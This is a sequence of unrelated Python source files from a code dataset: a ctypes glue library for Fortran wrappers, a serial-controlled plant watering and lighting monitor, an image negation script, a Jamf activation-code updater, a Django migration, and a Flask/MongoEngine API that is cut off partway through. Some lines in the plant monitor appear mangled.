Aerospace Center (DLR)\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nF2x 'ctypes' template glue library.\n\nThis module contains helpers that are used by the code generated by the 'ctypes' library. It mainly deals with setting\ncorrect C interfaces and converting values between FORTRAN and Python types. Arrays are handled by NumPy.\n\nUsually there should be no need to access this module directly.\n\"\"\"\n\nimport ctypes\n\nimport numpy\n\n\ndef constructor(cfunc):\n \"\"\"\n Make a C function a constructor.\n\n The C interface is defined to accept no parameters and return a void pointer. It is also wrapped as a staticmethod\n to allow usage in classes.\n\n :param cfunc: The plain C function as imported from the C library using ctypes.\n :return: A static method with appropriate C interface.\n \"\"\"\n cfunc.argtypes = []\n cfunc.restype = ctypes.c_void_p\n return staticmethod(cfunc)\n\n\ndef destructor(cfunc):\n \"\"\"\n Make a C function a destructor.\n\n Destructors accept pointers to void pointers as argument. They are also wrapped as a staticmethod for usage in\n classes.\n\n :param cfunc: The C function as imported by ctypes.\n :return: The configured destructor.\n \"\"\"\n cfunc.argtypes = [ctypes.POINTER(ctypes.c_void_p)]\n cfunc.restype = None\n return staticmethod(cfunc)\n\n\ndef array_from_pointer(ctype, dims, ptr, strlen=None, dealloc=None):\n \"\"\"\n Helper that converts a pointer to a ctypes array.\n\n The array will have flat layout.\n\n :param ctype: Type of the contents of the array.\n :param dims: List with the current sizes of the array.\n :param ptr: Address of array memory.\n :return: A ctypes array that points to the referred data.\n \"\"\"\n\n class ManagedArray(numpy.ndarray):\n def __array_finalize__(self, obj):\n if isinstance(obj, ManagedArray):\n self.f2x_parent = obj\n\n def __del__(self):\n if hasattr(self, 'f2x_ptr'):\n array_size = ctypes.c_int(len(self))\n self.f2x_dealloc(ctypes.byref(array_size), ctypes.byref(self.f2x_ptr))\n\n array_size = 1\n for size in dims:\n array_size *= size\n\n array_type = ctype * array_size\n c_array = array_type.from_address(ctypes.addressof(ptr.contents))\n if strlen is None:\n array = numpy.ctypeslib.as_array(c_array, dims)\n else:\n array = numpy.char.array(c_array, itemsize=strlen, copy=False, order='F')\n if dealloc is not None:\n array = array.view(ManagedArray)\n array.f2x_dealloc = dealloc\n array.f2x_ptr = ptr\n return array\n\nclass NullPointerError(BaseException):\n \"\"\"\n This exception is raised when Python wrapper code tries to access a C pointer that was not (yet) allocated (i.e. is\n null). This exception is handled to automatically allocate dynamic arrays upon first assignment.\n \"\"\"\n pass\n\n\ndef _getter(ctype, cfunc):\n if issubclass(ctype, FType):\n cfunc.argtypes = [ctypes.c_void_p]\n cfunc.restype = ctypes.c_void_p\n\n def _get(ptr):\n cptr = cfunc(ptr)\n if cptr is None:\n raise NullPointerError()\n return ctype(ctypes.c_void_p(cptr), False)\n\n return _get\n\n elif ctype == ctypes.c_char_p:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_char_p)]\n cfunc.restype = None\n\n def _get(ptr):\n cptr = ctypes.c_char_p(0)\n cfunc(ptr, ctypes.byref(cptr))\n return cptr.value.decode('utf-8').rstrip()\n\n return _get\n\n else:\n cfunc.argtypes = [ctypes.c_void_p]\n cfunc.restype = ctype\n return cfunc\n\n\ndef _setter(ctype, cfunc, strlen=None):\n if cfunc is None:\n return None\n\n elif ctype == ctypes.c_char_p:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctype)]\n cfunc.restype = None\n\n def _set(ptr, value):\n cstring = ctypes.create_string_buffer(value.encode('utf-8'), strlen)\n cvalue = ctypes.cast(cstring, ctypes.c_char_p)\n cfunc(ptr, ctypes.byref(cvalue))\n\n return _set\n\n else:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctype)]\n cfunc.restype = None\n\n def _set(ptr, value):\n cvalue = ctype(value)\n cfunc(ptr, ctypes.byref(cvalue))\n\n return _set\n\n\ndef _allocator(ctype, cfunc):\n if cfunc is None:\n return None\n\n cfunc.argtypes = [ctypes.c_void_p]\n cfunc.restype = None\n return cfunc\n\n\nclass Field(object):\n def __init__(self, ctype, getter, setter=None, allocator=None, strlen=None):\n self.ctype = ctype\n self.getter = _getter(ctype, getter)\n self.setter = _setter(ctype, setter, strlen)\n self.allocator = _allocator(ctype, allocator)\n\n def __get__(self, instance, owner):\n if instance is None:\n return self\n\n try:\n return self.getter(instance.ptr)\n\n except NullPointerError:\n self.allocator(instance.ptr)\n return self.getter(instance.ptr)\n\n def __set__(self, instance, value):\n if self.setter:\n self.setter(instance.ptr, value)\n\n elif issubclass(self.ctype, FType):\n try:\n target = self.getter(instance.ptr)\n except NullPointerError:\n self.allocator(instance.ptr)\n target = self.getter(instance.ptr)\n target.copy_from(value)\n\n else:\n raise AttributeError(\"Not settable.\")\n\n\ndef _global_getter(ctype, cfunc):\n if issubclass(ctype, FType):\n cfunc.argtypes = []\n cfunc.restype = ctypes.c_void_p\n\n def _get():\n cptr = cfunc()\n if cptr is None:\n raise NullPointerError()\n return ctype(ctypes.c_void_p(cptr), False)\n\n return _get\n\n elif ctype == ctypes.c_char_p:\n cfunc.argtypes = [ctypes.POINTER(ctypes.c_char_p)]\n cfunc.restype = None\n\n def _get():\n cptr = ctypes.c_char_p(0)\n cfunc(ctypes.byref(cptr))\n return cptr.value.decode('utf-8').rstrip()\n\n return _get\n\n else:\n cfunc.argtypes = []\n cfunc.restype = ctype\n return cfunc\n\n\ndef _global_setter(ctype, cfunc, strlen=None):\n if cfunc is None:\n return None\n\n elif ctype == ctypes.c_char_p:\n cfunc.argtypes = [ctypes.POINTER(ctype)]\n cfunc.restype = None\n\n def _set(value):\n cstring = ctypes.create_string_buffer(value.encode('utf-8'), strlen)\n cvalue = ctypes.cast(cstring, ctypes.c_char_p)\n cfunc(ctypes.byref(cvalue))\n\n return _set\n\n else:\n cfunc.argtypes = [ctypes.POINTER(ctype)]\n cfunc.restype = None\n\n def _set(value):\n cvalue = ctype(value)\n cfunc(ctypes.byref(cvalue))\n\n return _set\n\n\ndef _global_allocator(ctype, cfunc):\n if cfunc is None:\n return None\n\n cfunc.argtypes = []\n cfunc.restype = None\n return cfunc\n\n\nclass Global(Field):\n def __init__(self, ctype, getter, setter=None, allocator=None, strlen=None):\n self.ctype = ctype\n self.getter = _global_getter(ctype, getter)\n self.setter = _global_setter(ctype, setter, strlen)\n self.allocator = _global_allocator(ctype, allocator)\n\n def __get__(self, instance, owner):\n if instance is None:\n return self\n\n try:\n return self.getter()\n\n except NullPointerError:\n self.allocator()\n return self.getter()\n\n def __set__(self, instance, value):\n if self.setter:\n self.setter(value)\n\n elif issubclass(self.ctype, FType):\n try:\n target = self.getter()\n except NullPointerError:\n self.allocator()\n target = self.getter()\n target.copy_from(value)\n\n else:\n raise AttributeError(\"Not settable.\")\n\n\nclass FTypeFieldArray(object):\n def __init__(self, field, ptr):\n self.field = field\n self.ptr = ptr\n\n def __len__(self):\n return self.ptr.dims[self.field.name][0]\n\n def __getitem__(self, index):\n if not isinstance(index, (list, tuple)):\n return self[(index, )]\n else:\n return self.field.getter(self.ptr, index)\n\n def __setitem__(self, index, value):\n if not isinstance(index, (list, tuple)):\n self[(index, )] = value\n else:\n self[index].copy_from(value)\n \n def allocate(self, *sizes):\n self.field.allocator(self.ptr, sizes)\n\n\ndef _array_getter(name, ctype, cfunc):\n if ctype == ctypes.c_char_p:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.POINTER(ctypes.c_int32))]\n cfunc.restype = ctypes.c_void_p\n\n def _get(instance, index):\n index = (ctypes.c_int32 * len(instance.dims))(*index)\n cindex = ctypes.cast(index, ctypes.POINTER(ctypes.c_int32))\n cptr = ctypes.c_char_p(0)\n cfunc(instance.ptr, ctypes.byref(cindex), ctypes.byref(cptr))\n return cptr.value.decode('utf-8').rstrip()\n\n return _get\n \n elif issubclass(ctype, FType):\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.POINTER(ctypes.c_int32))]\n cfunc.restype = ctypes.c_void_p\n\n def _get(instance, index):\n index = (ctypes.c_int32 * len(instance.dims[name]))(*index)\n cindex = ctypes.cast(index, ctypes.POINTER(ctypes.c_int32))\n cptr = cfunc(instance.ptr, ctypes.byref(cindex))\n return ctype(cptr, False)\n\n return _get\n\n else:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.POINTER(ctype))]\n cfunc.restype = None\n\n def _get(instance):\n cptr = ctypes.POINTER(ctype)()\n cfunc(instance.ptr, ctypes.byref(cptr))\n try:\n carray = array_from_pointer(ctype, instance.dims[name], cptr)\n except ValueError:\n raise NullPointerError\n\n return numpy.ndarray(instance.dims[name], ctype, carray, order='F')\n\n return _get\n\n\ndef _array_setter(name, ctype, cfunc):\n if ctype == ctypes.c_char_p:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.POINTER(ctypes.c_int32)), ctypes.POINTER(ctype)]\n cfunc.restype = None\n \n def _set(instance, index, value):\n cindex = (ctypes.c_int32 * len(instance.dims))(*index)\n cptr = ctypes.cast(cindex, ctypes.POINTER(ctypes.c_int32))\n cbuffer = ctypes.create_string_buffer(value.encode('utf-8'))\n cvalue = ctypes.cast(cbuffer, ctypes.c_char_p)\n cfunc(instance.ptr, ctypes.byref(cptr), ctypes.byref(cvalue))\n \n return _set\n\n\ndef _array_allocator(name, ctype, cfunc):\n if cfunc is None:\n return\n\n elif ctype == ctypes.c_char_p:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.POINTER(ctypes.c_int32))]\n cfunc.restype = None\n \n def _alloc(instance, sizes):\n csizes = (ctypes.c_int32 * len(instance.dims[name]))(*sizes)\n cptr = ctypes.cast(csizes, ctypes.POINTER(ctypes.c_int32))\n cfunc(instance.ptr, ctypes.byref(cptr))\n instance.dims[name][:] = sizes\n \n return _alloc\n \n else:\n cfunc.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.POINTER(ctypes.c_int32))]\n cfunc.restype = None\n \n def _alloc(instance, sizes):\n csizes = (ctypes.c_int32 * len(instance.dims[name]))(*sizes)\n cptr = ctypes.cast(csizes, ctypes.POINTER(ctypes.c_int32))\n cfunc(instance.ptr, ctypes.byref(cptr))\n instance.dims[name][:] = sizes\n \n return _alloc\n\n\nclass ArrayField(object):\n def __init__(self, name, ctype, dims, getter, setter, allocator=None, strlen=None):\n self.name = name\n self.ctype = ctype\n self.dims = dims\n self.getter = _array_getter(self.name, self.ctype, getter)\n self.setter = _array_setter(self.name, self.ctype, setter)\n self.allocator = _array_allocator(self.name, self.ctype, allocator)\n self.strlen = strlen\n\n def __get__(self, instance, owner):\n if self.strlen is not None:\n return StringFieldArray(self, instance)\n \n elif issubclass(self.ctype, FType):\n return FTypeFieldArray(self, instance)\n\n else:\n return self.getter(instance)\n\n def __set__(self, instance, value):\n if issubclass(self.ctype, FType):\n array = FTypeFieldArray(self, instance)\n for target, source in zip(array, value):\n target.copy_from(source)\n\n else:\n try:\n array = self.getter(instance)\n except NullPointerError:\n value = numpy.array(value)\n self.allocator(instance, value.shape)\n array = self.getter(instance)\n\n array[:] = value\n\n\nclass StringFieldArray(FTypeFieldArray):\n def __setitem__(self, index, value):\n if not isinstance(index, (list, tuple)):\n self[(index, )] = value\n else:\n self.field.setter(self.ptr, index, value)\n \n\n\ndef _global_array_getter(name, ctype, cfunc):\n if issubclass(ctype, FType):\n cfunc.argtypes = [ctypes.POINTER(ctypes.POINTER(ctypes.c_int32))]\n cfunc.restype = ctypes.c_void_p\n\n def _get(instance, index):\n index = (ctypes.c_int32 * len(instance.dims))(*index)\n cindex = ctypes.cast(index, ctypes.POINTER(ctypes.c_int32))\n cptr = cfunc(ctypes.byref(cindex))\n return ctype(cptr, False)\n\n return _get\n\n else:\n cfunc.argtypes = [ctypes.POINTER(ctypes.POINTER(ctype))]\n cfunc.restype = None\n\n def _get(instance):\n cptr = ctypes.POINTER(ctype)()\n cfunc(ctypes.byref(cptr))\n try:\n carray = array_from_pointer(ctype, instance.dims, cptr)\n except ValueError:\n raise NullPointerError\n\n return numpy.ndarray(instance.dims, ctype, carray, order='F')\n\n return _get\n\n\ndef _global_array_allocator(name, cfunc):\n if cfunc is None:\n return\n\n cfunc.argtypes = [ctypes.POINTER(ctypes.POINTER(ctypes.c_int32))]\n cfunc.restype = None\n\n def _alloc(instance, sizes):\n csizes = (ctypes.c_int32 * len(instance.dims[name]))(*sizes)\n cptr = ctypes.cast(csizes, ctypes.POINTER(ctypes.c_int32))\n cfunc(ctypes.byref(cptr))\n instance.dims[name][:] = sizes\n\n return _alloc\n\n\nclass ArrayGlobal(ArrayField):\n def __init__(self, name, ctype, dims, getter, allocator=None):\n self.name = name\n self.ctype = ctype\n self.dims = dims\n self.getter = _global_array_getter(self.name, self.ctype, getter)\n self.allocator = _global_array_allocator(self.name, allocator)\n\n def __get__(self, instance, owner):\n if issubclass(self.ctype, FType):\n return FTypeFieldArray(self, instance)\n\n else:\n return self.getter(instance)\n\n def __set__(self, instance, value):\n if issubclass(self.ctype, FType):\n array = FTypeFieldArray(self, instance)\n for target, source in zip(array, value):\n target.copy_from(source)\n\n else:\n try:\n array = self.getter(instance)\n except NullPointerError:\n value = numpy.array(value)\n self.allocator(instance, value.shape)\n array = self.getter(instance)\n\n array[:] = value\n\n\nclass FType(object):\n _new = None\n _free = None\n\n def __init__(self, cptr=None, owned=None, **kwargs):\n if cptr is None:\n self.ptr = ctypes.c_void_p(self._new())\n self.owned = owned if owned is not None else True\n\n else:\n self.ptr = cptr\n self.owned = owned if owned is not None else False\n\n self.dims = {\n name: list(field.dims)\n for name, field in self.fields(ArrayField)\n }\n\n for name, value in kwargs.items():\n setattr(self, name, value)\n\n def __del__(self):\n if self.owned:\n self.owned = False\n self._free(ctypes.byref(self.ptr))\n\n def copy_from(self, other):\n for name, field in self.fields():\n if isinstance(field, ArrayField):\n continue\n try:\n value = getattr(other, name)\n except (UnicodeDecodeError, ValueError, NullPointerError):\n continue\n\n setattr(self, name, value)\n\n @classmethod\n def fields(cls, types=(Field, ArrayField)):\n for name, field in cls.__dict__.items():\n if isinstance(field, types):\n yield name, field\n\n\nclass F2xError(Exception):\n def __init__(self, name, code):\n super(Exception, self).__init__(\"During execution of {0} an error ({1}) occured.\".format(name, code))\n self.code = code\n","sub_path":"src/F2x/template/ctypes_noerr/lib/glue.py","file_name":"glue.py","file_ext":"py","file_size_in_byte":17616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"263137525","text":"#!/home/pi/envs/plants/bin/python\n# -*- coding: utf-8 -*-\n\n#import RPi.GPIO as GPIO\nimport sys, time, os\nfrom datetime import datetime\nimport serial\nimport cv2\nimport imutils\nimport numpy as np\nimport matplotlib.pyplot as plot\n\nSerial = serial.Serial(\"COM9\",9600 , timeout= 0.5 )\n\nplotLength = 30\nthLight = 950\nthWater = 20\nlightTime = (6,18) #hour\nwaterTime = (5,18) # hour\nwaterInterval = 2 * 60 * 60 #seconds\nwateringTimeLength = 15 #seconds\n\nautomatic = False\ntList = []\nhList = []\nlList = []\nwList = []\ntimeList_t = []\ntimeList_h = []\ntimeList_l = []\ntimeList_w = []\n\n#btnLight = 21\n#btnWater = 3\n#btnAuto = 4\n#GPIO.setmode(GPIO.BCM)\n#GPIO.setup(btnLight, GPIO.IN)\n#GPIO.setup(btnWater, GPIO.IN)\n#GPIO.setup(btnAuto, GPIO.IN)\n\ndef inputData(arrayName, data, length):\n if(len(arrayName)>length):\n arrayName.pop(0)\n\n arrayName.append(data)\n print(data)\n return arrayName\n\ndef readSerial():\n recv = \"\"\n dataString = \"\"\n count = Serial.inWaiting()\n if count != 0:\n try:\n recv = Serial.read(count).decode('utf-8')\n except:\n pass\n\n if(recv == \"[\"):\n while recv != \"]\":\n if Serial.inWaiting():\n recv = Serial.read(count).decode('utf-8')\n if(recv!=\"]\"):\n dataString += recv\n\n time.sleep(0.1)\n\n return dataString\n\ndef readSerial2():\n global light1, nowTemperature, nowHumandity\n recv = \"\"\n dataString = \"\"\n count = int(Serial.inWaiting())\n\n if count > 0:\n #recv = Serial.read(count).decode('utf-8')\n #print(\"recv:\", recv)\n data_raw = Serial.readline()\n recv = data_raw.decode('utf-8')\n aLoc = recv.find(\"[\")\n bLoc = recv.find(\"]\")\n\n if(aLoc>=0 and bLoc>0 and aLoc=lightTime[0]):\n if(int(sValue) a: power on ligher, b: power off light, c: power on water, d: power off water\n Serial.write(\"a\".encode())\n sPower = 1\n nowLight = 1\n print(\"Power on the Light.\")\n if(int(sValue)>=thLight and sPower==1):\n #--> a: power on ligher, b: power off light, c: power on water, d: power off water\n Serial.write(\"b\".encode())\n sPower = 0\n nowLight = 0\n print(\"Power off the Light.\")\n else:\n if(sPower==1):\n Serial.write(\"b\".encode())\n sPower = 0\n nowLight = 0\n print(\"Power off the Light.\")\n\n elif(sType==\"W\"):\n sValue = 1024 - int(sValue)\n wList = inputData(wList, int(sValue), plotLength)\n timeList_w = inputData(timeList_w, dataTime, plotLength)\n powerW=\"ON\" if sPower==1 else \"OFF\"\n\n if(automatic is True):\n if(hourNow=waterTime[0]):\n if(sPower==1):\n if(time.time()-waterLastTime>wateringTimeLength or int(sValue)>thWater):\n Serial.write(\"d\".encode())\n sPower = 0\n nowWater = 0\n print(\"Power off the water.\")\n\n if(sPower==0):\n if(time.time()-waterLastTime > waterInterval ):\n if(int(sValue)<=thWater):\n Serial.write(\"c\".encode())\n print(\"Power on the water.\")\n sPower = 1\n nowWater = 1\n waterLastTime = time.time()\n\n # draw a cardinal sine plot\n x = np.array (timeList_t )\n y = np.array (tList)\n ax_t.cla()\n ax_t.set_ylim(0, 80)\n ax_t.set_title(\"Temperature (C)\")\n ax_t.axes.get_xaxis().set_visible(False)\n ax_t.plot ( x, y, 'ro-' )\n\n x = np.array (timeList_h )\n y = np.array (hList)\n ax_h.cla()\n ax_h.set_title(\"Humandity (%)\")\n ax_h.set_ylim(0, 100)\n ax_h.axes.get_xaxis().set_visible(False)\n ax_h.plot ( x, y ,'co-')\n\n x = np.array (timeList_l )\n y = np.array (lList)\n ax_l.cla()\n ax_l.set_title(\"Lightness (degree)\")\n ax_l.set_ylim(0, 1024)\n ax_l.axes.get_xaxis().set_visible(False)\n ax_l.plot ( x, y ,'yo-')\n\n x = np.array (timeList_w )\n y = np.array (wList)\n ax_w.cla()\n ax_w.set_title(\"Water (degree)\")\n ax_w.set_ylim(0, 1024)\n ax_w.axes.get_xaxis().set_visible(False)\n ax_w.plot ( x, y , 'bo-')\n\n\n figure.canvas.draw()\n # convert canvas to image\n img = np.fromstring(figure.canvas.tostring_rgb(), dtype=np.uint8, sep='')\n img = img.reshape(figure.canvas.get_width_height()[::-1] + (3,))\n # img is rgb, convert to opencv's default bgr\n img = cv2.cvtColor(img,cv2.COLOR_RGB2BGR)\n\n #matplotlib.pyplot.show()\n bg = orgBG.copy()\n bg[290:290+490, 85:85+1260] = img\n cv2.putText(bg, str(lightTime[0])+\":00~\"+str(lightTime[1])+\":00\", (760, 140), cv2.FONT_HERSHEY_COMPLEX, 1.3, (255,0,0), 3)\n cv2.putText(bg, str(thLight), (1290, 140), cv2.FONT_HERSHEY_COMPLEX, 1.3, (0,0,255), 3)\n cv2.putText(bg, str(waterTime[0])+\":00~\"+str(waterTime[1])+\":00\", (760, 206), cv2.FONT_HERSHEY_COMPLEX, 1.3, (255,0,0), 3)\n cv2.putText(bg, str(thWater), (1290, 206), cv2.FONT_HERSHEY_COMPLEX, 1.3, (0,0,255), 3)\n\n if(len(tList)>0):\n cv2.putText(bg, str(tList[len(tList)-1])+\"C\", (146, 50), cv2.FONT_HERSHEY_COMPLEX, 0.9, (0,255,0), 2)\n if(len(hList)>0):\n cv2.putText(bg, str(hList[len(hList)-1])+\"%\", (310, 50), cv2.FONT_HERSHEY_COMPLEX, 0.9, (0,255,0), 2)\n if(len(lList)>0):\n cv2.putText(bg, str(lList[len(lList)-1]), (476, 50), cv2.FONT_HERSHEY_COMPLEX, 0.9, (0,255,0), 2)\n if(len(wList)>0):\n cv2.putText(bg, str(wList[len(wList)-1]), (656, 50), cv2.FONT_HERSHEY_COMPLEX, 0.9, (0,255,0), 2)\n\n #print(\"#2\", \"clickLight:\", clickLight, \"clickWater:\", clickWater, \"powerL:\", powerL, \"powerW:\", powerW)\n color = (powerL==\"ON\") and (0,0,255) or (255,0,0)\n cv2.putText(bg, powerL, (620, 277), cv2.FONT_HERSHEY_COMPLEX, 0.8, color, 2)\n #color=(0,0,0) if powerW==\"ON\" else (0,0,255)\n color = (powerW==\"ON\") and (0,0,255) or (255,0,0)\n cv2.putText(bg, powerW, (760, 277), cv2.FONT_HERSHEY_COMPLEX, 0.8, color, 2)\n cv2.putText(bg, str(int(waterInterval/60)), (960, 277), cv2.FONT_HERSHEY_COMPLEX, 1.1, (255,0,0), 2)\n cv2.putText(bg, str(wateringTimeLength), (1215, 277), cv2.FONT_HERSHEY_COMPLEX, 1.1, (255,0,0), 2)\n\n cv2.imshow(\"Plant Image\", bg)\n #cv2.imwrite(\"plantimg.jpg\", bg)\n\n cv2.waitKey(1)\n\n i+= 1\n # if(time.time()-app_start_time > 12 * 60 * 60):\n # os.execv('/home/pi/works/plant/main.py', [''])\n","sub_path":"mainwin.py","file_name":"mainwin.py","file_ext":"py","file_size_in_byte":11436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"347202584","text":"# negative of an image\nimport cv2\nimport numpy as np\n\nimg = cv2.imread(\"images/test.jpg\",cv2.IMREAD_GRAYSCALE)\n\n(d1,d2)=img.shape\n\notpt = np.zeros((d1,d2),np.uint8)\n\nw1 = \"input\"\nw2 = \"ouput\"\n\ncv2.namedWindow(w1,cv2.WINDOW_FREERATIO)\ncv2.resizeWindow(w1,400,400)\ncv2.moveWindow(w1,0,0)\n\ncv2.namedWindow(w2,cv2.WINDOW_FREERATIO)\ncv2.resizeWindow(w2,400,400)\ncv2.moveWindow(w2,0,400)\n\nfor i in range (0,d1):\n for j in range(0,d2):\n otpt[i,j]=255-img[i,j]\n\ncv2.imshow(w1,img)\ncv2.imshow(w2,otpt)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","sub_path":"negative.py","file_name":"negative.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"456137366","text":"import requests\nimport os\nimport re\nimport pprint\nimport http.client\nimport base64\nfrom bs4 import BeautifulSoup\n\n#configuration \nimport jamf_config as cfg\n\n\"\"\"\nJohnathan Brown\nKennesaw State University\n\nBecause Jamf can't figure out activation codes...\n\nTo-Do List\n1. error handling for logging in to Jamf Natation\n \n check get reponse, etc\n2. get current activation code\n3. compare current activation code with one from Jamf Natation\n4. generate XML for new activation code\n5. submit to jamf natation \n6. Log update in Teams? \n\"\"\"\n\n\nlogin_url = 'https://www.jamf.com/jamf-nation/login'\nproducts_url = 'https://www.jamf.com/jamf-nation/my/products'\n\njamf_pro_connectionn = http.client.HTTPSConnection(cfg.jamf_pro_url)\n#jamf_pro_connectionn = http.client.HTTPSConnection(cfg.jamf_pro_url)\n\n\njamf_product_names = []\njamf_activation_codes = []\n\n\ndef stripText(regex_patterns, text):\n new_text = text\n for i in regex_patterns:\n new_text = re.sub(i, '', new_text)\n return new_text\n\n#login to Jamf Naation with provided credentials, and extract \ndef getNewActivationCode():\n with requests.Session() as session:\n r = session.get(login_url)\n soup = BeautifulSoup(r.text, 'lxml')\n\n # extract csrf token from html\n cfg.jamf_nation_header['_csrf'] = soup.select('input[name=\"_csrf\"]')[0]['value']\n\n r = session.post(login_url, data=cfg.jamf_nation_header)\n r = session.get(products_url)\n soup = BeautifulSoup(r.text, 'lxml')\n\n regex_patterns = [\"activation-code-\", r\"\\W\\d\"]\n NUM_OF_JAMF_PRODUCTS = len(soup.select(\n 'span[id*=\"activation-code-\"]'))\n for i in range(NUM_OF_JAMF_PRODUCTS):\n temp_name = soup.select(\n 'span[id*=\"activation-code-J\"]')[i]['id']\n temp_name = stripText(regex_patterns, temp_name)\n jamf_product_names.append(temp_name)\n TEMP_CODE = soup.select(\n 'span[id*=\"activation-code-\"]')[i].next.strip()\n jamf_activation_codes.append(TEMP_CODE)\n\n return jamf_activation_codes[0]\n\ndef getCurrentActivationCode():\n jamf_pro_connectionn.request(\"GET\", \"/JSSResource/activationcode\", \n headers=cfg.jamf_api_headers)\n response = jamf_pro_connectionn.getresponse()\n #status_code = jamf_pro_connectionn.\n #print(response)\n temp = response.read()\n\n response=temp.decode(\"utf-8\")\n #print(response)\n soup = BeautifulSoup(response, 'lxml')\n code = soup.select('code')[0].next\n\n return code\ndef setNewActivationCode(jamf_organization_name,new_activation_code):\n \n xml_to_submit = (\"\" + \n f\"{jamf_organization_name}\" +\n f\"{new_activation_code}\" + \n \"\")\n\n jamf_pro_connectionn.request(\"PUT\", \"/JSSResource/activationcode\", \n xml_to_submit, cfg.jamf_api_headers)\n\n response=jamf_pro_connectionn.getresponse()\n print(response.status)\n\n\ndef checkCurrentActivationCode():\n pass\ndef generateActivationXML():\n pass\ndef main():\n new_activation_code = getNewActivationCode()\n current_activation_code = getCurrentActivationCode()\n\n setNewActivationCode(cfg.jamf_organization_name,new_activation_code)\n\n # if new_activation_code == current_activation_code:\n # exit\n # else:\n # setNewActivationCode(cfg.jamf_organization_name,new_activation_code)\n\nif __name__ == \"__main__\":\n main()","sub_path":"python/activation jamf/updatecode.py","file_name":"updatecode.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"74204917","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('nodarb', '0006_auto_20170311_1644'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='nodarb_tips',\n name='rada',\n field=models.BooleanField(default=True),\n ),\n ]\n","sub_path":"nodarb/migrations/0007_nodarb_tips_rada.py","file_name":"0007_nodarb_tips_rada.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"318665114","text":"# import main Flask class and request object\nimport json\nfrom flask import Flask, request, jsonify\nfrom flask_mongoengine import MongoEngine\n\n# create the Flask app\napp = Flask(__name__)\n\napp.config['MONGODB_SETTINGS'] = {\n 'connect': False,\n 'host': 'mongodb://127.0.0.1:27018/test_db?authSource=admin'\n}\n\ndb = MongoEngine()\ndb.init_app(app)\n\nclass User(db.Document):\n _id = db.StringField()\n dis = db.StringField()\n siteRef = db.StringField()\n equipRef = db.StringField()\n equip = db.StringField()\n heatPump = db.StringField()\n fan = db.StringField()\n point = db.StringField()\n sensor = db.StringField()\n sensorFault = db.BooleanField(default=False)\n speedCmd = db.StringField()\n temp = db.StringField()\n value = db.FloatField()\n \n def to_json(self):\n return {\"_id\": self._id,\n \"dis\": self.dis,\n \"siteRef\": self.siteRef,\n \"equipRef\": self.equipRef,\n \"equip\": self.equip,\n \"heatPump\": self.heatPump,\n \"fan\": self.fan,\n \"point\": self.point,\n \"sensor\": self.sensor,\n \"sensorFault\": self.sensorFault,\n \"speedCmd\": self.speedCmd,\n \"temp\": self.temp,\n \"value\": self.value\n }\n\nuser = User(_id = \"ee349ca0-f8aa-4b83-9fc6-86d727399914\",\n dis = \"Unitary HP\",\n equip = \"m\",\n heatPump = \"m\",\n siteRef = \"6b25c3c7-39e4-4be7-84a9-17e80feecaf5\")\nuser.save() \nuser1 = User(_id = \"ce731aa1-fb9c-40b9-8f6b-ec6c42c9eadb\",\n dis = \"Fan\",\n equip = \"m\",\n fan = \"m\",\n equipRef = \"ee349ca0-f8aa-4b83-9fc6-86d727399914\")\nuser1.save() \nuser2 = User(_id = \"bf34cfc8-cfe2-44d0-bf0a-ce462e2dc1c2\",\n dis = \"Return_Air_Temperature_Sensor\",\n temp = \"m\",\n sensor = \"m\",\n sensorFault = False,\n value = 72,\n point = \"m\",\n equipRef = \"ee349ca0-f8aa-4b83-9fc6-86d727399914\")\nuser2.save()\nuser3 = User(_id = \"af34cfc8-cfe2-44d0-bf0a-ce462e2dc1c1\",\n dis = \"FanSpeed\",\n speedCmd = \"m\",\n value = 0,\n point = \"m\",\n equipRef = \"ce731aa1-fb9c-40b9-8f6b-ec6c42c9eadb\")\nuser3.save()\n\n#\n#r = requests.get('http://localhost:5002/', params = {\"_id\": \"ee349ca0-f8aa-4b83-9fc6-86d727399914\"})\n#r.text\n#\n@app.route('/', methods=['GET'])\ndef query_records():\n _id = request.args.get('_id')\n user = User.objects(_id=_id).first()\n if not user:\n return jsonify({'error': 'data not found'})\n else:\n return jsonify(user.to_json())\n\n#\n#http://localhost:5002/objects/ee349ca0-f8aa-4b83-9fc6-86d727399914\n#\n@app.route('/objects/')\ndef get_one_object(id: str):\n user = User.objects.get_or_404(_id=id)\n return user.to_json(), 200\n\n#\n#http://localhost:5002/all_objects\n#\n@app.route('/all_objects')\ndef get_all_objects():\n user = User.objects()\n return user.to_json(), 200\n \n#\n#r = requests.put('http://localhost:5002/update', json = {\"_id\": \"ee349ca0-f8aa-4b83-9fc6-86d727399914\", \"fan\": \"n\"})\n#THIS CHANGES 'fan' -> n'\n#\n@app.route('/update', methods=['PUT'])\ndef 